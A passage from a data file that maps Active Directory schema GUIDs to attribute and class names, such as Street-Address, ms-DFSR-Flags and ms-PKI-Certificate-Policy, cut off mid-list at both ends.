"bf967a39-0de6-11d0-a285-00aa003049e2": "State-Or-Province-Name", "fa32f2a6-f28b-47d0-bf91-663e8f910a72": "ms-DS-Claim-Source", "ab911646-8827-4f95-8780-5a8f008eb68f": "IpHost", "d50c2cda-8951-11d1-aebc-0000f80367c1": "Bridgehead-Transport-List", "bf96799b-0de6-11d0-a285-00aa003049e2": "Link-ID", "eeed0fc8-1001-45ed-80cc-bbf744930720": "ms-DFSR-ReplicationGroupType", "0738307d-91df-11d1-aebc-0000f80367c1": "netboot-New-Machine-OU", "bf967a3a-0de6-11d0-a285-00aa003049e2": "Street-Address", "92f19c05-8dfa-4222-bbd1-2c4f01487754": "ms-DS-Claim-Source-Type", "cfee1051-5f28-4bae-a863-5d0cc18a8ed1": "ms-DS-Az-Admin-Manager", "f87fa54b-b2c5-4fd7-88c0-daccb21d93c5": "buildingName", "2ae80fe2-47b4-11d0-a1a4-00c04fd930c9": "Link-Track-Secret", "23e35d4c-e324-4861-a22f-e199140dae00": "ms-DFSR-TombstoneExpiryInMin", "07383082-91df-11d1-aebc-0000f80367c1": "netboot-SCP-BL", "3860949f-f6a8-4b38-9950-81ecb6bc2982": "Structural-Object-Class", "0c2ce4c7-f1c3-4482-8578-c60d4bb74422": "ms-DS-Claim-Is-Value-Space-Restricted", "d95836c3-143e-43fb-992a-b057f1ecadf9": "IpNetwork", "bf96792f-0de6-11d0-a285-00aa003049e2": "Builtin-Creation-Time", "bf96799d-0de6-11d0-a285-00aa003049e2": "Lm-Pwd-History", "d68270ac-a5dc-4841-a6ac-cd68be38c181": "ms-DFSR-FileFilter", "07383081-91df-11d1-aebc-0000f80367c1": "netboot-Server", "bf967a3b-0de6-11d0-a285-00aa003049e2": "Sub-Class-Of", "cd789fb9-96b4-4648-8219-ca378161af38": "ms-DS-Claim-Is-Single-Valued", "ddf8de9b-cba5-4e12-842e-28d8b66f75ec": "ms-DS-Az-Application", "bf967930-0de6-11d0-a285-00aa003049e2": "Builtin-Modified-Count", "bf96799e-0de6-11d0-a285-00aa003049e2": "Local-Policy-Flags", "93c7b477-1f2e-4b40-b7bf-007e8d038ccf": "ms-DFSR-DirectoryFilter", "2df90d84-009f-11d2-aa4c-00c04fd7d83a": "Netboot-SIF-File", "bf967a3c-0de6-11d0-a285-00aa003049e2": "Sub-Refs", "1e5d393d-8cb7-4b4f-840a-973b36cc09c3": "ms-DS-Generation-Id", "72efbf84-6e7b-4a5c-a8db-8a75a7cad254": "NisNetgroup", "bf967931-0de6-11d0-a285-00aa003049e2": "Business-Category", "80a67e4d-9f22-11d0-afdd-00c04fd930c9": "Local-Policy-Reference", "4699f15f-a71f-48e2-9ff5-5897c0759205": "ms-DFSR-Schedule", "0738307f-91df-11d1-aebc-0000f80367c1": "netboot-Tools", "9a7ad94d-ca53-11d1-bbd0-0080c76670c0": "SubSchemaSubEntry", "a13df4e2-dbb0-4ceb-828b-8b2e143e9e81": "ms-DS-Primary-Computer", "860abe37-9a9b-4fa4-b3d2-b8ace5df9ec5": "ms-DS-Az-Operation", "ba305f76-47e3-11d0-a1a6-00c04fd930c9": "Bytes-Per-Minute", "bf9679a1-0de6-11d0-a285-00aa003049e2": "Locale-ID", "048b4692-6227-4b67-a074-c4437083e14b": "ms-DFSR-Keywords", "bf9679d9-0de6-11d0-a285-00aa003049e2": "Network-Address", "963d274c-48be-11d1-a9c3-0000f80367c1": "Super-Scope-Description", "998c06ac-3f87-444e-a5df-11b03dc8a50c": "ms-DS-Is-Primary-Computer-For", "7672666c-02c1-4f33-9ecf-f649c1dd9b7c": "NisMap", "bf967932-0de6-11d0-a285-00aa003049e2": "CA-Certificate", "bf9679a2-0de6-11d0-a285-00aa003049e2": "Locality-Name", "fe515695-3f61-45c8-9bfa-19c148c57b09": "ms-DFSR-Flags", "bf9679da-0de6-11d0-a285-00aa003049e2": "Next-Level-Store", "963d274b-48be-11d1-a9c3-0000f80367c1": "Super-Scopes", "db2c48b2-d14d-ec4e-9f58-ad579d8b440e": "ms-Kds-KDF-AlgorithmID", "8213eac9-9d55-44dc-925c-e9a52b927644": "ms-DS-Az-Role", "963d2740-48be-11d1-a9c3-0000f80367c1": "CA-Certificate-DN", "d9e18316-8939-11d1-aebc-0000f80367c1": "Localized-Description", "d6d67084-c720-417d-8647-b696237a114c": "ms-DFSR-Options", "bf9679db-0de6-11d0-a285-00aa003049e2": "Next-Rid", "5245801d-ca6a-11d0-afff-0000f80367c1": "Superior-DNS-Root", "8a800772-f4b8-154f-b41c-2e4271eff7a7": "ms-Kds-KDF-Param", "904f8a93-4954-4c5f-b1e1-53c097a31e13": "NisObject", "963d2735-48be-11d1-a9c3-0000f80367c1": "CA-Connect", "a746f0d1-78d0-11d2-9916-0000f87a57d4": "Localization-Display-Id", "1035a8e1-67a8-4c21-b7bb-031cdf99d7a0": "ms-DFSR-ContentSetGuid", "52458018-ca6a-11d0-afff-0000f80367c1": "Non-Security-Member", "bf967a3f-0de6-11d0-a285-00aa003049e2": "Supplemental-Credentials", "1702975d-225e-cb4a-b15d-0daea8b5e990": "ms-Kds-SecretAgreement-AlgorithmID", "4feae054-ce55-47bb-860e-5b12063a51de": "ms-DS-Az-Scope", "963d2738-48be-11d1-a9c3-0000f80367c1": "CA-Usages", "09dcb79f-165f-11d0-a064-00aa006c33ed": "Location", "e3b44e05-f4a7-4078-a730-f48670a743f8": "ms-DFSR-RdcEnabled", "52458019-ca6a-11d0-afff-0000f80367c1": "Non-Security-Member-BL", "1677588f-47f3-11d1-a9c3-0000f80367c1": "Supported-Application-Context", "30b099d9-edfe-7549-b807-eba444da79e9": "ms-Kds-SecretAgreement-Param", "a699e529-a637-4b7d-a0fb-5dc466a0b8a7": "IEEE802Device", "963d2736-48be-11d1-a9c3-0000f80367c1": "CA-WEB-URL", "bf9679a4-0de6-11d0-a285-00aa003049e2": "Lock-Out-Observation-Window", "f402a330-ace5-4dc1-8cc9-74d900bf8ae0": "ms-DFSR-RdcMinFileSizeInKb", "19195a56-6da0-11d0-afd3-00c04fd930c9": "Notification-List", "bf967a41-0de6-11d0-a285-00aa003049e2": "Surname", "e338f470-39cd-4549-ab5b-f69f9e583fe0": "ms-Kds-PublicKey-Length", "1ed3a473-9b1b-418a-bfa0-3a37b95a5306": "ms-DS-Az-Task", "d9e18314-8939-11d1-aebc-0000f80367c1": "Can-Upgrade-Script", "bf9679a5-0de6-11d0-a285-00aa003049e2": "Lockout-Duration", "2cc903e2-398c-443b-ac86-ff6b01eac7ba": "ms-DFSR-DfsPath", "bf9679df-0de6-11d0-a285-00aa003049e2": "NT-Group-Members", "037651e4-441d-11d1-a9c3-0000f80367c1": "Sync-Attributes", "615f42a1-37e7-1148-a0dd-3007e09cfc81": "ms-Kds-PrivateKey-Length", "4bcb2477-4bb3-4545-a9fc-fb66e136b435": "BootableDevice", "9a7ad945-ca53-11d1-bbd0-0080c76670c0": "Canonical-Name", "bf9679a6-0de6-11d0-a285-00aa003049e2": "Lockout-Threshold", "51928e94-2cd8-4abe-b552-e50412444370": "ms-DFSR-RootFence", "3e97891f-8c01-11d0-afda-00c04fd930c9": "NT-Mixed-Domain", "037651e3-441d-11d1-a9c3-0000f80367c1": "Sync-Membership", "26627c27-08a2-0a40-a1b1-8dce85b42993": "ms-Kds-RootKeyData", "44f00041-35af-468b-b20a-6ce8737c580b": "ms-DS-Optional-Feature", "d4159c92-957d-4a87-8a67-8d2934e01649": "carLicense", "28630ebf-41d5-11d1-a9c1-0000f80367c1": "Lockout-Time", "2dad8796-7619-4ff8-966e-0a5cc67b287f": "ms-DFSR-ReplicationGroupGuid", "bf9679e2-0de6-11d0-a285-00aa003049e2": "Nt-Pwd-History", "037651e2-441d-11d1-a9c3-0000f80367c1": "Sync-With-Object", "d5f07340-e6b0-1e4a-97be-0d3318bd9db1": "ms-Kds-Version", "d6710785-86ff-44b7-85b5-f1f8689522ce": "msSFU-30-Mail-Aliases", "7bfdcb81-4807-11d1-a9c3-0000f80367c1": "Catalogs", "bf9679a9-0de6-11d0-a285-00aa003049e2": "Logo", "f7b85ba9-3bf9-428f-aab4-2eee6d56f063": "ms-DFSR-DfsLinkTarget", "bf9679e3-0de6-11d0-a285-00aa003049e2": "NT-Security-Descriptor", "037651e5-441d-11d1-a9c3-0000f80367c1": "Sync-With-SID", "96400482-cf07-e94c-90e8-f2efc4f0495e": "ms-Kds-DomainID", "3bcd9db8-f84b-451c-952f-6c52b81f9ec6": "ms-DS-Password-Settings", "7bfdcb7e-4807-11d1-a9c3-0000f80367c1": "Categories", "bf9679aa-0de6-11d0-a285-00aa003049e2": "Logon-Count", "261337aa-f1c3-44b2-bbea-c88d49e6f0c7": "ms-DFSR-MemberReference", "bf9679e4-0de6-11d0-a285-00aa003049e2": "Obj-Dist-Name", "bf967a43-0de6-11d0-a285-00aa003049e2": "System-Auxiliary-Class", "6cdc047f-f522-b74a-9a9c-d95ac8cdfda2": "ms-Kds-UseStartTime", "e263192c-2a02-48df-9792-94f2328781a0": "msSFU-30-Net-Id", "7d6c0e94-7e20-11d0-afd6-00c04fd930c9": "Category-Id", "bf9679ab-0de6-11d0-a285-00aa003049e2": "Logon-Hours", "6c7b5785-3d21-41bf-8a8a-627941544d5a": "ms-DFSR-ComputerReference", "26d97369-6070-11d1-a9c6-0000f80367c1": "Object-Category", "e0fa1e62-9b45-11d0-afdd-00c04fd930c9": "System-Flags", "ae18119f-6390-0045-b32d-97dbc701aef7": "ms-Kds-CreateTime", "5b06b06a-4cf3-44c0-bd16-43bc10a987da": "ms-DS-Password-Settings-Container", "963d2732-48be-11d1-a9c3-0000f80367c1": "Certificate-Authority-Object", "bf9679ac-0de6-11d0-a285-00aa003049e2": "Logon-Workstation", "adde62c6-1880-41ed-bd3c-30b7d25e14f0": "ms-DFSR-MemberReferenceBL", "bf9679e5-0de6-11d0-a285-00aa003049e2": "Object-Class", "bf967a44-0de6-11d0-a285-00aa003049e2": "System-May-Contain", "9cdfdbc5-0304-4569-95f6-c4f663fe5ae6": "ms-Imaging-Thumbprint-Hash", "36297dce-656b-4423-ab65-dabb2770819e": "msSFU-30-Domain-Info", "1677579f-47f3-11d1-a9c3-0000f80367c1": "Certificate-Revocation-List", "bf9679ad-0de6-11d0-a285-00aa003049e2": "LSA-Creation-Time", "5eb526d7-d71b-44ae-8cc6-95460052e6ac": "ms-DFSR-ComputerReferenceBL", "bf9679e6-0de6-11d0-a285-00aa003049e2": "Object-Class-Category", "bf967a45-0de6-11d0-a285-00aa003049e2": "System-Must-Contain", "8ae70db5-6406-4196-92fe-f3bb557520a7": "ms-Imaging-Hash-Algorithm", "da83fc4f-076f-4aea-b4dc-8f4dab9b5993": "ms-DS-Quota-Container", "2a39c5b1-8960-11d1-aebc-0000f80367c1": "Certificate-Templates", "bf9679ae-0de6-11d0-a285-00aa003049e2": "LSA-Modified-Count", "eb20e7d6-32ad-42de-b141-16ad2631b01b": "ms-DFSR-Priority", "9a7ad94b-ca53-11d1-bbd0-0080c76670c0": "Object-Classes", "bf967a46-0de6-11d0-a285-00aa003049e2": "System-Only", "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79": "ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity", "e15334a3-0bf0-4427-b672-11f5d84acc92": "msSFU-30-Network-User", "548e1c22-dea6-11d0-b010-0000f80367c1": "Class-Display-Name", "bf9679af-0de6-11d0-a285-00aa003049e2": "Machine-Architecture", "817cf0b8-db95-4914-b833-5a079ef65764": "ms-DFSR-DeletedPath", "34aaa216-b699-11d0-afee-0000f80367c1": "Object-Count", "bf967a47-0de6-11d0-a285-00aa003049e2": "System-Poss-Superiors", "e362ed86-b728-0842-b27d-2dea7a9df218": "ms-DS-ManagedPassword", "de91fc26-bd02-4b52-ae26-795999e96fc7": "ms-DS-Quota-Control", "bf967938-0de6-11d0-a285-00aa003049e2": "Code-Page", "c9b6358e-bb38-11d0-afef-0000f80367c1": "Machine-Password-Change-Interval", "53ed9ad1-9975-41f4-83f5-0c061a12553a": "ms-DFSR-DeletedSizeInMb", "bf9679e7-0de6-11d0-a285-00aa003049e2": "Object-Guid", "bf967a49-0de6-11d0-a285-00aa003049e2": "Telephone-Number", "0e78295a-c6d3-0a40-b491-d62251ffa0a6": "ms-DS-ManagedPasswordId", "faf733d0-f8eb-4dcf-8d75-f1753af6a50b": "msSFU-30-NIS-Map-Config", "bf96793b-0de6-11d0-a285-00aa003049e2": "COM-ClassID", "bf9679b2-0de6-11d0-a285-00aa003049e2": "Machine-Role", "5ac48021-e447-46e7-9d23-92c0c6a90dfb": "ms-DFSR-ReadOnly", "bf9679e8-0de6-11d0-a285-00aa003049e2": "Object-Sid", "bf967a4a-0de6-11d0-a285-00aa003049e2": "Teletex-Terminal-Identifier", "d0d62131-2d4a-d04f-99d9-1c63646229a4": "ms-DS-ManagedPasswordPreviousId", "ce206244-5827-4a86-ba1c-1c0c386c1b64": "ms-DS-Managed-Service-Account", "281416d9-1968-11d0-a28f-00aa003049e2": "COM-CLSID", "80a67e4f-9f22-11d0-afdd-00c04fd930c9": "Machine-Wide-Policy", "db7a08e7-fc76-4569-a45f-f5ecb66a88b5": "ms-DFSR-CachePolicy", "16775848-47f3-11d1-a9c3-0000f80367c1": "Object-Version", "bf967a4b-0de6-11d0-a285-00aa003049e2": "Telex-Number", "f8758ef7-ac76-8843-a2ee-a26b4dcaf409": "ms-DS-ManagedPasswordInterval", "1cb81863-b822-4379-9ea2-5ff7bdc6386d": "ms-net-ieee-80211-GroupPolicy", "bf96793c-0de6-11d0-a285-00aa003049e2": "COM-InterfaceID", "0296c120-40da-11d1-a9c0-0000f80367c1": "Managed-By", "4c5d607a-ce49-444a-9862-82a95f5d1fcc": "ms-DFSR-MinDurationCacheInMin", "bf9679ea-0de6-11d0-a285-00aa003049e2": "OEM-Information", "0296c121-40da-11d1-a9c0-0000f80367c1": "Telex-Primary", "888eedd6-ce04-df40-b462-b8a50e41ba38": "ms-DS-GroupMSAMembership", "281416dd-1968-11d0-a28f-00aa003049e2": "COM-Other-Prog-Id", "0296c124-40da-11d1-a9c0-0000f80367c1": "Managed-Objects", "2ab0e48d-ac4e-4afc-83e5-a34240db6198": "ms-DFSR-MaxAgeInCacheInMin", "bf9679ec-0de6-11d0-a285-00aa003049e2": "OM-Object-Class", "ed9de9a0-7041-11d2-9905-0000f87a57d4": "Template-Roots", "55872b71-c4b2-3b48-ae51-4095f91ec600": "ms-DS-Transformation-Rules", "99a03a6a-ab19-4446-9350-0cb878ed2d9b": "ms-net-ieee-8023-GroupPolicy", "bf96793d-0de6-11d0-a285-00aa003049e2": "COM-ProgID", "bf9679b5-0de6-11d0-a285-00aa003049e2": "Manager", "43061ac1-c8ad-4ccc-b785-2bfac20fc60a": "ms-FVE-RecoveryPassword", "bf9679ed-0de6-11d0-a285-00aa003049e2": "OM-Syntax", "6db69a1c-9422-11d1-aebd-0000f80367c1": "Terminal-Server", "86284c08-0c6e-1540-8b15-75147d23d20d": "ms-DS-Ingress-Claims-Transformation-Policy", "fa85c591-197f-477e-83bd-ea5a43df2239": "ms-DFSR-LocalSettings", "281416db-1968-11d0-a28f-00aa003049e2": "COM-Treat-As-Class-Id", "bf9679b7-0de6-11d0-a285-00aa003049e2": "MAPI-ID", "85e5a5cf-dcee-4075-9cfd-ac9db6a2f245": "ms-FVE-VolumeGuid", "ddac0cf3-af8f-11d0-afeb-00c04fd930c9": "OMT-Guid", "f0f8ffa7-1191-11d0-a060-00aa006c33ed": "Text-Country", "c137427e-9a73-b040-9190-1b095bb43288": "ms-DS-Egress-Claims-Transformation-Policy", "ea715d30-8f53-40d0-bd1e-6109186d782c": "ms-FVE-RecoveryInformation", "281416de-1968-11d0-a28f-00aa003049e2": "COM-Typelib-Id", "bf9679b9-0de6-11d0-a285-00aa003049e2": "Marshalled-Interface", "1fd55ea8-88a7-47dc-8129-0daa97186a54": "ms-FVE-KeyPackage", "1f0075fa-7e40-11d0-afd6-00c04fd930c9": "OMT-Indx-Guid", "a8df7489-c5ea-11d1-bbcb-0080c76670c0": "Text-Encoded-OR-Address", "d5006229-9913-2242-8b17-83761d1e0e5b": "ms-DS-TDO-Egress-BL", "e11505d7-92c4-43e7-bf5c-295832ffc896": "ms-DFSR-Subscriber", "281416da-1968-11d0-a28f-00aa003049e2": "COM-Unique-LIBID", "e48e64e0-12c9-11d3-9102-00c04fd91ab1": "Mastered-By", "f76909bc-e678-47a0-b0b3-f86a0044c06d": "ms-FVE-RecoveryGuid", "3e978925-8c01-11d0-afda-00c04fd930c9": "Operating-System", "ddac0cf1-af8f-11d0-afeb-00c04fd930c9": "Time-Refresh", "5a5661a1-97c6-544b-8056-e430fe7bc554": "ms-DS-TDO-Ingress-BL", "25173408-04ca-40e8-865e-3f9ce9bf1bd3": "ms-DFS-Deleted-Link-v2", "bf96793e-0de6-11d0-a285-00aa003049e2": "Comment", "bf9679bb-0de6-11d0-a285-00aa003049e2": "Max-Pwd-Age", "aa4e1a6d-550d-4e05-8c35-4afcb917a9fe": "ms-TPM-OwnerInformation", "bd951b3c-9c96-11d0-afdd-00c04fd930c9": "Operating-System-Hotfix", "ddac0cf0-af8f-11d0-afeb-00c04fd930c9": "Time-Vol-Change", "0bb49a10-536b-bc4d-a273-0bab0dd4bd10": "ms-DS-Transformation-Rules-Compiled", "67212414-7bcc-4609-87e0-088dad8abdee": "ms-DFSR-Subscription", "bf96793f-0de6-11d0-a285-00aa003049e2": "Common-Name", "bf9679bc-0de6-11d0-a285-00aa003049e2": "Max-Renew-Age", "0e0d0938-2658-4580-a9f6-7a0ac7b566cb": "ms-ieee-80211-Data", "3e978927-8c01-11d0-afda-00c04fd930c9": "Operating-System-Service-Pack", "bf967a55-0de6-11d0-a285-00aa003049e2": "Title", "693f2006-5764-3d4a-8439-58f04aab4b59": "ms-DS-Applies-To-Resource-Types", "7769fb7a-1159-4e96-9ccd-68bc487073eb": "ms-DFS-Link-v2", "f0f8ff88-1191-11d0-a060-00aa006c33ed": "Company", "bf9679bd-0de6-11d0-a285-00aa003049e2": "Max-Storage", "6558b180-35da-4efe-beed-521f8f48cafb": "ms-ieee-80211-Data-Type", "3e978926-8c01-11d0-afda-00c04fd930c9": "Operating-System-Version", "16c3a860-1273-11d0-a060-00aa006c33ed": "Tombstone-Lifetime", "24977c8c-c1b7-3340-b4f6-2b375eb711d7": "ms-DS-RID-Pool-Allocation-Enabled", "7b35dbad-b3ec-486a-aad4-2fec9d6ea6f6": "ms-DFSR-GlobalSettings", "bf967943-0de6-11d0-a285-00aa003049e2": "Content-Indexing-Allowed", "bf9679be-0de6-11d0-a285-00aa003049e2": "Max-Ticket-Age", "7f73ef75-14c9-4c23-81de-dd07a06f9e8b": "ms-ieee-80211-ID", "bf9679ee-0de6-11d0-a285-00aa003049e2": "Operator-Count", "c1dc867c-a261-11d1-b606-0000f80367c1": "Transport-Address-Attribute", "9709eaaf-49da-4db2-908a-0446e5eab844": "ms-DS-cloudExtensionAttribute1", "da73a085-6e64-4d61-b064-015d04164795": "ms-DFS-Namespace-Anchor", "4d8601ee-ac85-11d0-afe3-00c04fd930c9": "Context-Menu", "bf9679bf-0de6-11d0-a285-00aa003049e2": "May-Contain", "8a5c99e9-2230-46eb-b8e8-e59d712eb9ee": "ms-IIS-FTP-Dir", "963d274d-48be-11d1-a9c3-0000f80367c1": "Option-Description", "26d97372-6070-11d1-a9c6-0000f80367c1": "Transport-DLL-Name", "f34ee0ac-c0c1-4ba9-82c9-1a90752f16a5": "ms-DS-cloudExtensionAttribute2", "1c332fe0-0c2a-4f32-afca-23c5e45a9e77": "ms-DFSR-ReplicationGroup", "6da8a4fc-0e52-11d0-a286-00aa003049e2": "Control-Access-Rights", "11b6cc8b-48c4-11d1-a9c3-0000f80367c1": "meetingAdvertiseScope", "2a7827a4-1483-49a5-9d84-52e3812156b4": "ms-IIS-FTP-Root", "19195a53-6da0-11d0-afd3-00c04fd930c9": "Options", "26d97374-6070-11d1-a9c6-0000f80367c1": "Transport-Type", "82f6c81a-fada-4a0d-b0f7-706d46838eb5": "ms-DS-cloudExtensionAttribute3", "21cb8628-f3c3-4bbf-bff6-060b2d8f299a": "ms-DFS-Namespace-v2", "bf967944-0de6-11d0-a285-00aa003049e2": "Cost", "11b6cc83-48c4-11d1-a9c3-0000f80367c1": "meetingApplication", "51583ce9-94fa-4b12-b990-304c35b18595": "ms-Imaging-PSP-Identifier", "963d274e-48be-11d1-a9c3-0000f80367c1": "Options-Location", "8fd044e3-771f-11d1-aeae-0000f80367c1": "Treat-As-Leaf", "9cbf3437-4e6e-485b-b291-22b02554273f": "ms-DS-cloudExtensionAttribute4", "64759b35-d3a1-42e4-b5f1-a3de162109b3": "ms-DFSR-Content", "508ca374-a511-4e4e-9f4f-856f61a6b7e4": "Address-Book-Roots2", "5fd42471-1262-11d0-a060-00aa006c33ed": "Country-Code", "11b6cc92-48c4-11d1-a9c3-0000f80367c1": "meetingBandwidth", "7b6760ae-d6ed-44a6-b6be-9de62c09ec67": "ms-Imaging-PSP-String", "bf9679ef-0de6-11d0-a285-00aa003049e2": "Organization-Name", "28630ebd-41d5-11d1-a9c1-0000f80367c1": "Tree-Name", "2915e85b-e347-4852-aabb-22e5a651c864": "ms-DS-cloudExtensionAttribute5", "4898f63d-4112-477c-8826-3ca00bd8277d": "Global-Address-List2", "bf967945-0de6-11d0-a285-00aa003049e2": "Country-Name", "11b6cc93-48c4-11d1-a9c3-0000f80367c1": "meetingBlob", "35697062-1eaf-448b-ac1e-388e0be4fdee": "ms-net-ieee-80211-GP-PolicyGUID", "bf9679f0-0de6-11d0-a285-00aa003049e2": "Organizational-Unit-Name", "80a67e5a-9f22-11d0-afdd-00c04fd930c9": "Trust-Attributes", "60452679-28e1-4bec-ace3-712833361456": "ms-DS-cloudExtensionAttribute6", "4937f40d-a6dc-4d48-97ca-06e5fbfd3f16": "ms-DFSR-ContentSet", "b1cba91a-0682-4362-a659-153e201ef069": "Template-Roots2", "2b09958a-8931-11d1-aebc-0000f80367c1": "Create-Dialog", "11b6cc87-48c4-11d1-a9c3-0000f80367c1": "meetingContactInfo", "9c1495a5-4d76-468e-991e-1433b0a67855": "ms-net-ieee-80211-GP-PolicyData", "28596019-7349-4d2f-adff-5a629961f942": "organizationalStatus", "bf967a59-0de6-11d0-a285-00aa003049e2": "Trust-Auth-Incoming", "4a7c1319-e34e-40c2-9d00-60ff7890f207": "ms-DS-cloudExtensionAttribute7", "2df90d73-009f-11d2-aa4c-00c04fd7d83a": "Create-Time-Stamp", "11b6cc7e-48c4-11d1-a9c3-0000f80367c1": "meetingDescription", "0f69c62e-088e-4ff5-a53a-e923cec07c0a": "ms-net-ieee-80211-GP-PolicyReserved", "5fd424ce-1262-11d0-a060-00aa006c33ed": "Original-Display-Table", "bf967a5f-0de6-11d0-a285-00aa003049e2": "Trust-Auth-Outgoing", "3cd1c514-8449-44ca-81c0-021781800d2a": "ms-DS-cloudExtensionAttribute8", "04828aa9-6e42-4e80-b962-e2fe00754d17": "ms-DFSR-Topology", "b8442f58-c490-4487-8a9d-d80b883271ad": "ms-DS-Claim-Type-Property-Base", "2b09958b-8931-11d1-aebc-0000f80367c1": "Create-Wizard-Ext", "11b6cc91-48c4-11d1-a9c3-0000f80367c1": "meetingEndTime", "94a7b05a-b8b2-4f59-9c25-39e69baa1684": "ms-net-ieee-8023-GP-PolicyGUID", "5fd424cf-1262-11d0-a060-00aa006c33ed": "Original-Display-Table-MSDOS", "bf967a5c-0de6-11d0-a285-00aa003049e2": "Trust-Direction", "0a63e12c-3040-4441-ae26-cd95af0d247e": "ms-DS-cloudExtensionAttribute9", "bf967946-0de6-11d0-a285-00aa003049e2": "Creation-Time", "11b6cc7c-48c4-11d1-a9c3-0000f80367c1": "meetingID", "8398948b-7457-4d91-bd4d-8d7ed669c9f7": "ms-net-ieee-8023-GP-PolicyData", "bf9679f1-0de6-11d0-a285-00aa003049e2": "Other-Login-Workstations", "b000ea7a-a086-11d0-afdd-00c04fd930c9": "Trust-Parent", "670afcb3-13bd-47fc-90b3-0a527ed81ab7": "ms-DS-cloudExtensionAttribute10", "4229c897-c211-437c-a5ae-dbf705b696e5": "ms-DFSR-Member", "36093235-c715-4821-ab6a-b56fb2805a58": "ms-DS-Claim-Types", "4d8601ed-ac85-11d0-afe3-00c04fd930c9": "Creation-Wizard", "11b6cc89-48c4-11d1-a9c3-0000f80367c1": "meetingIP", "d3c527c7-2606-4deb-8cfd-18426feec8ce": "ms-net-ieee-8023-GP-PolicyReserved", "0296c123-40da-11d1-a9c0-0000f80367c1": "Other-Mailbox", "bf967a5d-0de6-11d0-a285-00aa003049e2": "Trust-Partner", "9e9ebbc8-7da5-42a6-8925-244e12a56e24": "ms-DS-cloudExtensionAttribute11", "7bfdcb85-4807-11d1-a9c3-0000f80367c1": "Creator", "11b6cc8e-48c4-11d1-a9c3-0000f80367c1": "meetingIsEncrypted", "3164c36a-ba26-468c-8bda-c1e5cc256728": "ms-PKI-Cert-Template-OID", "bf9679f2-0de6-11d0-a285-00aa003049e2": "Other-Name", "bf967a5e-0de6-11d0-a285-00aa003049e2": "Trust-Posix-Offset", "3c01c43d-e10b-4fca-92b2-4cf615d5b09a": "ms-DS-cloudExtensionAttribute12", "e58f972e-64b5-46ef-8d8b-bbc3e1897eab": "ms-DFSR-Connection", "7a4a4584-b350-478f-acd6-b4b852d82cc0": "ms-DS-Resource-Properties", "963d2737-48be-11d1-a9c3-0000f80367c1": "CRL-Object", "11b6cc7f-48c4-11d1-a9c3-0000f80367c1": "meetingKeyword", "dbd90548-aa37-4202-9966-8c537ba5ce32": "ms-PKI-Certificate-Application-Policy", "1ea64e5d-ac0f-11d2-90df-00c04fd91ab1": "Other-Well-Known-Objects", "bf967a60-0de6-11d0-a285-00aa003049e2": "Trust-Type", "28be464b-ab90-4b79-a6b0-df437431d036": "ms-DS-cloudExtensionAttribute13", "963d2731-48be-11d1-a9c3-0000f80367c1": "CRL-Partitioned-Revocation-List", "11b6cc84-48c4-11d1-a9c3-0000f80367c1": "meetingLanguage", "ea1dddc4-60ff-416e-8cc0-17cee534bce7": "ms-PKI-Certificate-Name-Flag", "bf9679f3-0de6-11d0-a285-00aa003049e2": "Owner", "bf967a61-0de6-11d0-a285-00aa003049e2": "UAS-Compat", "cebcb6ba-6e80-4927-8560-98feca086a9f": "ms-DS-cloudExtensionAttribute14", "7b9a2d92-b7eb-4382-9772-c3e0f9baaf94": "ms-ieee-80211-Policy", "81a3857c-5469-4d8f-aae6-c27699762604": "ms-DS-Claim-Type", "167757b2-47f3-11d1-a9c3-0000f80367c1": "Cross-Certificate-Pair", "11b6cc80-48c4-11d1-a9c3-0000f80367c1": "meetingLocation", "38942346-cc5b-424b-a7d8-6ffd12029c5f": "ms-PKI-Certificate-Policy", "7d6c0e99-7e20-11d0-afd6-00c04fd930c9": "Package-Flags", "0bb0fca0-1e89-429f-901a-1413894d9f59": "uid", "aae4d537-8af0-4daa-9cc6-62eadb84ff03": "ms-DS-cloudExtensionAttribute15", "1f0075fe-7e40-11d0-afd6-00c04fd930c9": "Curr-Machine-Id", "11b6cc85-48c4-11d1-a9c3-0000f80367c1": "meetingMaxParticipants", "b7ff5a38-0818-42b0-8110-d3d154c97f24": "ms-PKI-Credential-Roaming-Tokens", "7d6c0e98-7e20-11d0-afd6-00c04fd930c9": "Package-Name", "bf967a64-0de6-11d0-a285-00aa003049e2": "UNC-Name", "9581215b-5196-4053-a11e-6ffcafc62c4d": "ms-DS-cloudExtensionAttribute16", "a0ed2ac1-970c-4777-848e-ec63a0ec44fc": "ms-Imaging-PSPs", "5b283d5e-8404-4195-9339-8450188c501a": "ms-DS-Resource-Property", "1f0075fc-7e40-11d0-afd6-00c04fd930c9": "Current-Location", "11b6cc7d-48c4-11d1-a9c3-0000f80367c1": "meetingName", "d15ef7d8-f226-46db-ae79-b34e560bd12c": "ms-PKI-Enrollment-Flag", "7d6c0e96-7e20-11d0-afd6-00c04fd930c9": "Package-Type", "bf9679e1-0de6-11d0-a285-00aa003049e2": "Unicode-Pwd", "3d3c6dda-6be8-4229-967e-2ff5bb93b4ce": "ms-DS-cloudExtensionAttribute17", "963d273f-48be-11d1-a9c3-0000f80367c1": "Current-Parent-CA", "11b6cc86-48c4-11d1-a9c3-0000f80367c1": "meetingOriginator", "f22bd38f-a1d0-4832-8b28-0331438886a6": "ms-PKI-Enrollment-Servers", "5245801b-ca6a-11d0-afff-0000f80367c1": "Parent-CA", "ba0184c7-38c5-4bed-a526-75421470580c": "uniqueIdentifier", "88e73b34-0aa6-4469-9842-6eb01b32a5b5": "ms-DS-cloudExtensionAttribute18", "1f7c257c-b8a3-4525-82f8-11ccc7bee36e": "ms-Imaging-PostScanProcess", "72e3d47a-b342-4d45-8f56-baff803cabf9": "ms-DS-Resource-Property-List", "bf967947-0de6-11d0-a285-00aa003049e2": "Current-Value", "11b6cc88-48c4-11d1-a9c3-0000f80367c1": "meetingOwner", "e96a63f5-417f-46d3-be52-db7703c503df": "ms-PKI-Minimal-Key-Size", "963d2733-48be-11d1-a9c3-0000f80367c1": "Parent-CA-Certificate-Chain", "8f888726-f80a-44d7-b1ee-cb9df21392c8": "uniqueMember", "0975fe99-9607-468a-8e18-c800d3387395": "ms-DS-cloudExtensionAttribute19", "bf96799c-0de6-11d0-a285-00aa003049e2": "DBCS-Pwd", "11b6cc81-48c4-11d1-a9c3-0000f80367c1": "meetingProtocol", "8c9e1288-5028-4f4f-a704-76d026f246ef": "ms-PKI-OID-Attribute", "2df90d74-009f-11d2-aa4c-00c04fd7d83a": "Parent-GUID", "50950839-cc4c-4491-863a-fcf942d684b7": "unstructuredAddress", 